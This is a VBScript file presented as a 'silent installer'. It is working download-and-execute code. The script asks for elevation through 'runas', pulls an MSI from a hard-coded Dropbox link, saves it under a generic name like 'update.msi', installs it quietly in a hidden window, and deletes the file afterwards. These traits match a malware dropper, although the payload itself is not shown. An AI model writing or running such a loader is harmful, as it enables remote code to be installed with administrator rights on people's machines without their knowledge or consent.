' ========================================================= ' Silent Installer: Download & Execute MSI/BAT (Auto-Admin) ' Save as: install.vbs ' Run with: Double-click (it will self-elevate if needed) ' ========================================================= On Error Resume Next ' --- Configuration --- Dim url, fileName url = "https://dl.dropboxusercontent.com/scl/fi/tddvdp1hw7aetnh8xv19j/Setup.msi?rlkey=0cjveuuf4ntgdwmwnvtnq4w8y&st=dpsxawyi&dl=1" ' Your MSI URL fileName = "Ref.msi" ' Default name ' Auto-detect extension from URL If LCase(Right(url, 4)) = ".msi" Then fileName = "update.msi" ElseIf LCase(Right(url, 4)) = ".bat" Then fileName = "update.bat" End If ' --- Step 0: Self-Elevation (Crucial for MSI) --- ' Check if running as Administrator Dim isAdmin isAdmin = False On Error Resume Next Set objShell = CreateObject("Shell.Application") Set objWshShell = CreateObject("WScript.Shell") Set objFSO = CreateObject("Scripting.FileSystemObject") ' Try to create a restricted folder to test permissions objFSO.CreateFolder "C:\Windows\Temp\TestPerms_" If Err.Number = 0 Then isAdmin = True objFSO.DeleteFolder "C:\Windows\Temp\TestPerms_", True Else isAdmin = False End If On Error GoTo 0 If Not isAdmin Then ' Re-run this script using CSCRIPT (console) with admin rights Dim strArgs strArgs = """" & WScript.ScriptFullName & """" ' Use ShellExecute to run as Administrator Set objShellApp = CreateObject("Shell.Application") objShellApp.ShellExecute "wscript.exe", strArgs, "", "runas", 1 ' Exit the current instance WScript.Quit End If ' --- Step 1: Download File Silently --- Dim http, stream Set http = CreateObject("MSXML2.XMLHTTP") http.Open "GET", url, False http.Send If http.Status <> 200 Then MsgBox "Download failed. Status: " & http.Status, vbCritical, "Error" Set http = Nothing WScript.Quit 1 End If Set stream = CreateObject("ADODB.Stream") stream.Open stream.Type = 1 ' Binary stream.Write http.ResponseBody stream.SaveToFile fileName, 2 ' Overwrite stream.Close Set stream = Nothing Set http = Nothing ' --- Step 2: Execute Silently with Logging --- Dim shell, command, exitCode Set shell = CreateObject("WScript.Shell") If LCase(Right(fileName, 4)) = ".msi" Then ' MSI: Quiet install, log errors to a file for debugging ' /L*v creates a verbose log file. Change path if needed. command = "msiexec /i """ & fileName & """ /quiet /norestart /L*C:\msi_install_log.txt" ElseIf LCase(Right(fileName, 4)) = ".bat" Then ' BAT: Run hidden, wait for finish command = "cmd /c start """" /wait /min """ & fileName & """" Else ' Generic EXE: Hidden, wait command = "start """" /wait /min """ & fileName & """" End If ' Execute and WAIT silently exitCode = shell.Run(command, 0, True) ' Optional: Cleanup file after success If exitCode = 0 Then On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") If fso.FileExists(fileName) Then fso.DeleteFile fileName, True On Error GoTo 0 Else MsgBox "Installation failed with Code: " & exitCode & ". Check C:\msi_install_log.txt for details.", vbExclamation, "Install Failed" End If